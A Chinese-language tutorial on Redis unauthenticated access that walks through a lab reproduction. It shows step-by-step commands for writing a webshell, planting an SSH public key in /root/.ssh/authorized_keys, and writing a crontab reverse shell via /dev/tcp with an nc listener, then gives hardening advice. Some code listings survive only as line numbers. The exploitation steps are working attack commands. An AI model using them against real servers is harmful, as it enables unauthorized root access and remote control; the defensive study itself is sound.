目录
一、漏洞简介及危害
1.1什么是redis未授权访问
1.2漏洞的危害:
1.3漏洞影响:
二、漏洞复现:
三、未授权访问漏洞测试
3.1 利用redis写webshell
3.2 利用"公私钥"认证获取root权限
3.3 利用crontab反弹shell
四、脚本自动化测试
五、解决方案
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。
简单说,漏洞的产生条件有以下两点:
(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。
(1)攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据; (2)攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件; (3)最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器
根据 ZoomEye 的探测,全球无验证可直接利用Redis 分布情况如下:
全球无验证可直接利用Redis TOP 10国家与地区:
下载并安装测试用的Redis,本次采用的是Ubuntu镜像:
wget http://download.redis.io/releases/redis-2.8.17.tar.gz (如果下载不下来的话:http://distfiles.macports.org/redis/)
解压安装包:tar xzf redis-2.8.17.tar.gz进入redis目录:cd redis-2.8.17安装:make
make结束后,进入src目录:cd src, 将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
返回目录redis-2.8.17,将redis.conf拷贝到/etc/目录下:
使用/etc/目录下的reids.conf文件中的配置启动redis服务:
服务启动成功,我们克隆这台虚拟机
一台作为攻击机,一台作为靶机
攻击机IP:192.168.0.105
靶机IP:192.168.0.104
启动redis服务进程后,就可以使用测试攻击机程序redis-cli和靶机的redis服务交互了。 比如:
使用redis客户端直接无账号成功登录redis:
从登录的结果可以看出该redis服务对公网开放,且未启用认证。
利用前提:
1.靶机redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证 2.开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限 (我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件。)
这里由于本地搭建,我们已经知道目录,我们把shell写入/home/bmjoker/目录下:
注:
第三步写入webshell的时候,可以使用:
set x "\r\n\r\n\r\n\r\n"
\r\n\r\n代表换行的意思,用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。
shell写入完成,我们在靶机上来证明:
成功写入shell。
当数据库过大时,redis写shell的小技巧:
'); exit(); ?>
当redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。
靶机中开启redis服务:redis-server /etc/redis.conf
在靶机中执行 mkdir /root/.ssh 命令,创建ssh公钥存放目录(靶机是作为ssh服务器使用的)
在攻击机中生成ssh公钥和私钥,密码设置为空:
进入.ssh目录:cd .ssh/,将生成的公钥保存到1.txt:
链接靶机上的redis服务,
将保存ssh的公钥1.txt写入redis(使用redis-cli -h ip命令连接靶机,将文件写入):
远程登录靶机的redis服务:redis-cli -h 192.168.0.104
并使用 CONFIG GET dir 命令得到redis备份的路径:
更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh):
设置上传公钥的备份文件名字为authorized_keys:
检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出,
至此成功写入ssh公钥到靶机:
在攻击机上使用ssh免密登录靶机:ssh -i id_rsa [email protected]
利用私钥成功登录redis服务器!!!
在权限足够的情况下,利用redis写入文件到计划任务目录下执行。
端口监听:
在攻击者服务器上监听一个端口(未被占用的任意端口):
nc -lvnp 4444
攻击详情:
连接redis,写入反弹shell
redis-cli -h 192.168.0.104 set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.104/4444 0>&1\n\n"
config set dir /var/spool/cron config set dbfilename root save
过一分钟左右就可以收到shell
可用来测试是否存在未授权或弱口令的情况:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
|
1、比较安全的办法是采用绑定IP的方式来进行控制。
请在redis.conf文件找到如下配置
1 2 3 4 |
|
把 #bind 127.0.0.1前面的注释#号去掉,然后把127.0.0.1改成你允许访问你的redis服务器的ip地址,表示只允许该ip进行访问,这种情况下,我们在启动redis服务器的时候不能再用:redis-server,改为:redis-server path/redis.conf 即在启动的时候指定需要加载的配置文件,其中path/是你上面修改的redis配置文件所在目录,这个方法有一点不太好,我难免有多台机器访问一个redis服务。
2、设置密码,以提供远程登陆
打开redis.conf配置文件,找到requirepass,然后修改如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
|